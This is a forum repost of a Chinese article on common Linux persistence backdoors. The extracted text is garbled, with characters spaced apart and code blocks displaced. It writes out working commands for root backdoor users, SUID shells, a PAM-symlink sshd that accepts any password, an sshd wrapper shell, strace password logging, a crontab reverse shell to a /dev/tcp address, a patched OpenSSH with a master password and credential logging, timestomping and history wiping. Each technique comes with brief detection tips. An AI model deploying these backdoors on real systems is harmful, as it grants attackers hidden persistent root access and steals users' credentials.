搜索

[972] 2020-03-06_Linux下常见的权限维持方式

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-16
2020-03-06_Linux下常见的权限维持方式 L i n u x 下 常 见 的 权 限 维 持 方 式 原 创   B y p a s s   B y p a s s   2 0 2 0 - 0 3 - 0 6 攻 击 者 在 获 取 系 统 权 限 后 ， 通 常 会 留 下 后 门 以 便 再 次 访 问 。 本 文 将 对 L i n u x 下 常 见 的 权 限 维 持 技 术 进 行 解 析 ， 知 己 知 彼 百 战 不 殆 。 相 关 文 章 ： L i n u x 下 的 几 种 隐 藏 技 术   1 、 一 句 话 添 加 用 户 和 密 码 、 一 句 话 添 加 用 户 和 密 码 添 加 普 通 用 户 ： 添 加 r o o t 用 户 ： 可 疑 用 户 排 查 技 巧 ： 2 、 、 S U I D   S h e l l S u i d   s h e l l 是 一 种 可 用 于 以 拥 有 者 权 限 运 行 的 s h e l l 。 使 用 g u e s t 用 户 登 录 就 可 疑 获 取 r o o t 权 限 。 备 注 ： b a s h 2 针 对 s u i d 做 了 一 些 防 护 措 施 ， 需 要 使 用 - p 参 数 来 获 取 一 个 r o o t   s h e l l 。 另 外 ， 普 通 用 户 执 行 这 个 S U I D   s h e l l 时 ， 一 定 要 使 用 全 路 径 。 排 查 技 巧 ： #   创 建 一 个 用 户 名 g u e s t ， 密 码 1 2 3 4 5 6 的 普 通 用 户 u s e r a d d   - p   ` o p e n s s l   p a s s w d   - 1   - s a l t   ' s a l t '   1 2 3 4 5 6 `   g u e s t #   u s e r a d d   - p   方 法     `   `   是 用 来 存 放 可 执 行 的 系 统 命 令 , " $ ( ) " 也 可 以 存 放 命 令 执 行 语 句 u s e r a d d   - p   " $ ( o p e n s s l   p a s s w d   - 1   1 2 3 4 5 6 ) "   g u e s t #   c h p a s s w d 方 法 u s e r a d d   g u e s t ; e c h o   ' g u e s t : 1 2 3 4 5 6 ' | c h p a s s w d #   e c h o   - e 方 法 u s e r a d d   t e s t ; e c h o   - e   " 1 2 3 4 5 6 n 1 2 3 4 5 6 n "   | p a s s w d   t e s t #   创 建 一 个 用 户 名 g u e s t ， 密 码 1 2 3 4 5 6 的 r o o t 用 户 u s e r a d d   - p   ` o p e n s s l   p a s s w d   - 1   - s a l t   ' s a l t '   1 2 3 4 5 6 `   g u e s t   - o   - u   0   - g   r o o t   - G   r o o t   - s   / b i n / b a s h   - d   / h o m e / t e s t #   查 询 特 权 用 户 特 权 用 户 ( u i d   为 0 ) [ r o o t @ l o c a l h o s t   ~ ] #   a w k   - F :   ' $ 3 = = 0 { p r i n t   $ 1 } '   / e t c / p a s s w d #   查 询 可 以 远 程 登 录 的 帐 号 信 息 [ r o o t @ l o c a l h o s t   ~ ] #   a w k   ' / $ 1 | $ 6 / { p r i n t   $ 1 } '   / e t c / s h a d o w #   除 r o o t 帐 号 外 ， 其 他 帐 号 是 否 存 在 s u d o 权 限 。 如 非 管 理 需 要 ， 普 通 帐 号 应 删 除 s u d o 权 限 [ r o o t @ l o c a l h o s t   ~ ] #   m o r e   / e t c / s u d o e r s   |   g r e p   - v   " ^ # | ^ $ "   |   g r e p   " A L L = ( A L L ) " #   配 合 普 通 用 户 权 限 使 用 c p   / b i n / b a s h   / t m p / s h e l l c h m o d   u + s   / t m p / s h e l l
3 、 、 s s h 公 私 钥 免 密 登 录 公 私 钥 免 密 登 录 在 客 户 端 上 生 成 一 对 公 私 钥 ， 然 后 把 公 钥 放 到 服 务 器 上 （ ~ / . s s h / a u t h o r i z e d _ k e y s ） ， 保 留 私 钥 。 当 s s h 登 录 时 ， s s h 程 序 会 发 送 私 钥 去 和 服 务 器 上 的 公 钥 做 匹 配 。 如 果 匹 配 成 功 就 可 以 登 录 了 。 客 户 端 ： 过 程 中 按 三 次 回 车 ， 执 行 结 束 如 下 图 : 进 入 / r o o t / . s s h / 文 件 夹 ， 查 看 文 件 夹 的 内 容 ， 如 下 所 示 ： 其 中   为 私 钥 ， 为 公 钥 ， 接 下 来 打 开 ， 将 内 容 复 制 到 服 务 器 。 将 的 内 容 追 加 到 内 ， 配 置 完 成 。 排 查 技 巧 ： 4 、 软 连 接 、 软 连 接 在 s s h d 服 务 配 置 运 行 P A M 认 证 的 前 提 下 ， P A M 配 置 文 件 中 控 制 标 志 为 s u f f i c i e n t 时 只 要 p a m _ r o o t o k 模 块 检 测 u i d 为 0 即 r o o t 权 限 即 可 成 功 认 证 登 陆 。 通 过 软 连 接 的 方 式 ， 实 质 上 P A M 认 证 是 通 过 软 连 接 的 文 件 名     在 目 录 下 寻 找 对 应 的 P A M 配 置 文 件 ( 如 :   / e t c / p a m . d / s u ) ， 任 意 密 码 登 陆 的 核 心 是 ， 所 以 只 要 P A M 配 置 文 件 中 包 含 此 配 置 即 可 S S H 任 意 密 码 登 陆 ， 除 了 s u 中 之 外 还 有 c h s h 、 c h f n 同 样 可 以 。 在 目 标 服 务 器 上 执 行 一 句 话 后 门 ： 执 行 完 之 后 ， 任 何 一 台 机 器 ， 输 入 任 意 密 码 ， 成 功 登 录 。 #   在 L i n u x 中 查 找 S U I D 设 置 的 文 件 f i n d   .   - p e r m   / 4 0 0 0 #   在 L i n u x 中 查 找 使 用 S G I D 设 置 的 文 件 f i n d   .   - p e r m   / 2 0 0 0 #   取 消 s 权 限 c h m o d   u - s   / t m p / s h e l l s s h - k e y g e n   - t   r s a i d _ r s a i d _ r s a . p u b i d _ r s a . p u b i d _ r s a . p u b / r o o t / . s s h / a u t h o r i z e d _ k e y s 查 看 / r o o t / . s s h / a u t h o r i z e d _ k e y s 是 否 被 修 改 。 / t m p / s u / e t c / p a m . d / a u t h   s u f f i c i e n t   p a m _ r o o t o k . s o l n   - s f   / u s r / s b i n / s s h d   / t m p / s u ; / t m p / s u   - o P o r t = 8 8 8 8 s s h   r o o t @ I P   - p   8 8 8 8
排 查 技 巧 ： 进 程 、 端 口 都 可 以 发 现 异 常 ，   k i l l   - s   9   P I D   结 束 进 程 即 可 清 除 后 门 。 5 、 、 S S H   w r a p p e r i n i t 首 先 启 动 的 是 / u s r / s b i n / s s h d , 脚 本 执 行 到 g e t p e e r n a m e 这 里 的 时 候 ， 正 则 匹 配 会 失 败 ， 于 是 执 行 下 一 句 ， 启 动 / u s r / b i n / s s h d ， 这 是 原 始 s s h d 。 原 始 的 s s h d 监 听 端 口 建 立 了 t c p 连 接 后 ， 会 f o r k 一 个 子 进 程 处 理 具 体 工 作 。 这 个 子 进 程 ， 没 有 什 么 检 验 ， 而 是 直 接 执 行 系 统 默 认 的 位 置 的 / u s r / s b i n / s s h d ， 这 样 子 控 制 权 又 回 到 脚 本 了 。 此 时 子 进 程 标 准 输 入 输 出 已 被 重 定 向 到 套 接 字 ， g e t p e e r n a m e 能 真 的 获 取 到 客 户 端 的 T C P 源 端 口 ， 如 果 是 1 9 5 2 6 就 执 行 s h 给 个 s h e l l 。 服 务 端 ： 客 户 端 ： c d   / u s r / s b i n / m v   s s h d   . . / b i n / e c h o   ' # ! / u s r / b i n / p e r l '   > s s h d e c h o   ' e x e c   " / b i n / s h "   i f ( g e t p e e r n a m e ( S T D I N )   = ~   / ^ . . 4 A / ) ; '   > > s s h d e c h o   ' e x e c { " / u s r / b i n / s s h d " }   " / u s r / s b i n / s s h d " , @ A R G V , '   > > s s h d c h m o d   u + x   s s h d / e t c / i n i t . d / s s h d   r e s t a r t s o c a t   S T D I O   T C P 4 : t a r g e t _ i p : 2 2 , s o u r c e p o r t = 1 3 3 7 7
排 查 技 巧 ： 6 、 、 s t r a c e 后 门 后 门 通 过 命 令 替 换 动 态 跟 踪 系 统 调 用 和 数 据 ， 可 以 用 来 记 录 用 户 s s h 、 s u 、 s u d o 的 操 作 。 排 查 技 巧 ： 使 用 即 可 发 现 异 常 。 7 、 、 c r o n t a b 反 弹 反 弹 s h e l l c r o n t a b 命 令 用 于 设 置 周 期 性 被 执 行 的 指 令 。 新 建 s h e l l 脚 本 ， 利 用 脚 本 进 行 反 弹 。 a 、 创 建 s h e l l 脚 本 ， 例 如 在 / e t c / e v i l . s h l s   - a l   / u s r / s b i n / s s h d c a t   / u s r / s b i n / s s h d #   可 通 过 重 装 s s h 服 务 恢 复 。 # v i m   / e t c / b a s h r c a l i a s   s s h = ' s t r a c e   - o   / t m p / . s s h . l o g   - e   r e a d , w r i t e , c o n n e c t   - s   2 0 4 8   s s h ' #   s o u r c e   / r o o t / . b a s h r c a l i a s # ! / b i n / b a s h b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 2 8 . 1 3 1 / 1 2 3 4 5     0 > & 1 c h m o d   + s x   / e t c / e v i l . s h
b 、 c r o n t a b   - e   设 置 定 时 任 务 重 启 c r o n d 服 务 ， ， 然 后 就 可 以 用 n c 接 收 s h e l l 。 排 查 技 巧 ： 8 、 、 o p e n s s h 后 门 后 门 利 用 o p e n s s h 后 门 ， 设 置 S S H 后 门 密 码 及 r o o t 密 码 记 录 位 置 ， 隐 蔽 性 较 强 ， 不 易 被 发 现 。 # 每 一 分 钟 执 行 一 次 * / 1   *   *   *   *   r o o t   / e t c / e v i l . s h s e r v i c e   c r o n d   r e s t a r t #   查 看 可 疑 的 定 时 任 务 列 表 c r o n t a b   - e a 、 备 份 S S H 配 置 文 件 m v   / e t c / s s h / s s h _ c o n f i g   / e t c / s s h / s s h _ c o n f i g . o l d m v   / e t c / s s h / s s h d _ c o n f i g   / e t c / s s h / s s h d _ c o n f i g . o l d b 、 解 压 并 安 装 补 丁 t a r   z x f   o p e n s s h - 5 . 9 p 1 . t a r . g z t a r   z x f   o p e n s s h - 5 . 9 p 1 . t a r . g z c p   o p e n s s h - 5 . 9 p 1 . p a t c h / s s h b d 5 . 9 p 1 . d i f f     / o p e n s s h - 5 . 9 p 1 c d   o p e n s s h - 5 . 9 p 1 p a t c h   <   s s h b d 5 . 9 p 1 . d i f f c 、 记 录 用 户 名 和 密 码 的 文 件 位 置 及 其 密 码 v i     i n c l u d e s . h         # d e f i n e   I L O G   " / t m p / 1 . t x t "                           / / 记 录 登 录 本 机 的 用 户 名 和 密 码         # d e f i n e   O L O G   " / t m p / 2 . t x t "                           / / 记 录 本 机 登 录 远 程 的 用 户 名 和 密 码         # d e f i n e   S E C R E T P W   " 1 2 3 4 5 6 7 8 9 "                     / / 后 门 的 密 码 d 、 修 改 版 本 信 息 v i   v e r s i o n . h         # d e f i n e   S S H _ V E R S I O N   " 填 入 之 前 记 下 来 的 版 本 号 , 伪 装 原 版 本 "         # d e f i n e   S S H _ P O R T A B L E   " 小 版 本 号 " e 、 安 装 并 编 译 . / c o n f i g u r e   - - p r e f i x = / u s r   - - s y s c o n f d i r = / e t c / s s h   - - w i t h - p a m   - - w i t h - k e r b e r o s 5 m a k e   c l e a n m a k e   & &   m a k e   i n s t a l l s e r v i c e   s s h d   r e s t a r t f 、 对 比 原 来 的 配 置 文 件 ， 使 配 置 文 件 一 致 ， 然 后 修 改 文 件 日 期 。 t o u c h   - r     / e t c / s s h / s s h _ c o n f i g . o l d   / e t c / s s h / s s h _ c o n f i g t o u c h   - r     / e t c / s s h / s s h d _ c o n f i g . o l d   / e t c / s s h / s s h d _ c o n f i g
排 查 技 巧 ： 利 用 s t r a c e 找 出 s s h 后 门 . 9 、 、 P A M 后 门 后 门 P A M   （ P l u g g a b l e   A u t h e n t i c a t i o n   M o d u l e s   ） 是 由 S u n 提 出 的 一 种 认 证 机 制 。 它 通 过 提 供 一 些 动 态 链 接 库 和 一 套 统 一 的 A P I ， 将 系 统 提 供 的 服 务 和 该 服 务 的 认 证 方 式 分 开 ， 使 得 系 统 管 理 员 可 以 灵 活 地 根 据 需 要 给 不 同 的 服 务 配 置 不 同 的 认 证 方 式 而 无 需 更 改 服 务 程 序 ， 同 时 也 便 于 向 系 统 中 添 加 新 的 认 证 手 段 。 P A M 最 初 是 集 成 在 S o l a r i s 中 ， 目 前 已 移 植 到 其 它 系 统 中 ， 如 L i n u x 、 S u n O S 、 H P - U X   9 . 0 等 。 利 用 方 法 : 排 查 技 巧 ： 1 0 、 、 r o o k i t 后 门 后 门 M a f i x 是 一 款 常 用 的 轻 量 应 用 级 别 R o o t k i t s ， 是 通 过 伪 造 s s h 协 议 漏 洞 实 现 远 程 登 陆 的 特 点 是 配 置 简 单 并 可 以 自 定 义 验 证 密 码 和 端 口 号 。 利 用 方 法 ： 安 装 完 成 后 ， 使 用 s s h   用 户 @ I P   - P   配 置 的 端 口 ， 即 可 远 程 登 录 。 连 接 后 的 截 图 ： 排 查 技 巧 ： 查 看 端 口 是 否 异 常 ， R P M   c h e c k 查 看 命 令 是 否 被 替 换 。 t o u c h   - r     / e t c / s s h / s s h d _ c o n f i g . o l d   / e t c / s s h / s s h d _ c o n f i g g 、 清 除 操 作 记 录 e x p o r t   H I S T F I L E = / d e v / n u l l e x p o r t   H I S T S I Z E = 0 e c h o   > / r o o t / . b a s h _ h i s t o r y   / / 清 空 操 作 日 志 #   1 、 获 取 可 疑 进 程 P I p s   a u x   |   g r e p   s s h d #   2 、 跟 踪 s s h d   P I D s t r a c e   - o   a a   - f f   - p     P I D #   3 、 查 看 记 录 密 码 打 开 文 件 g r e p   o p e n   s s h d *   |   g r e p   - v   - e   N o   - e     n u l l   - e   d e n i e d |   g r e p     W R 1 、 获 取 目 标 系 统 所 使 用 的 P A M 版 本 ， 下 载 对 应 版 本 的 p a m 版 本 2 、 解 压 缩 ， 修 改 p a m _ u n i x _ a u t h . c 文 件 ， 添 加 万 能 密 码 3 、 编 译 安 装 P A M 4 、 编 译 完 后 的 文 件 在 ： m o d u l e s / p a m _ u n i x / . l i b s / p a m _ u n i x . s o ， 复 制 到 / l i b 6 4 / s e c u r i t y 中 进 行 替 换 ， 即 可 使 用 万 能 密 码 登 陆 ， 并 将 用 户 名 密 码 记 录 到 文 件 中 。 #   1 、 通 过 S t r a c e 跟 踪 s s h p s   a x u   |   g r e p   s s h d s t r a c e   - o   a a   - f f   - p   P I D g r e p   o p e n   a a *   |   g r e p   - v   - e   N o   - e   n u l l   - e   d e n i e d |   g r e p   W R #   2 、 检 查 p a m _ u n i x . s o 的 修 改 时 间 s t a t   / l i b / s e c u r i t y / p a m _ u n i x . s o             # 3 2 位 s t a t   / l i b 6 4 / s e c u r i t y / p a m _ u n i x . s o         # 6 4 位
加 入 我 的 知 识 星 球 ， 获 取 更 多 安 全 干 货 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理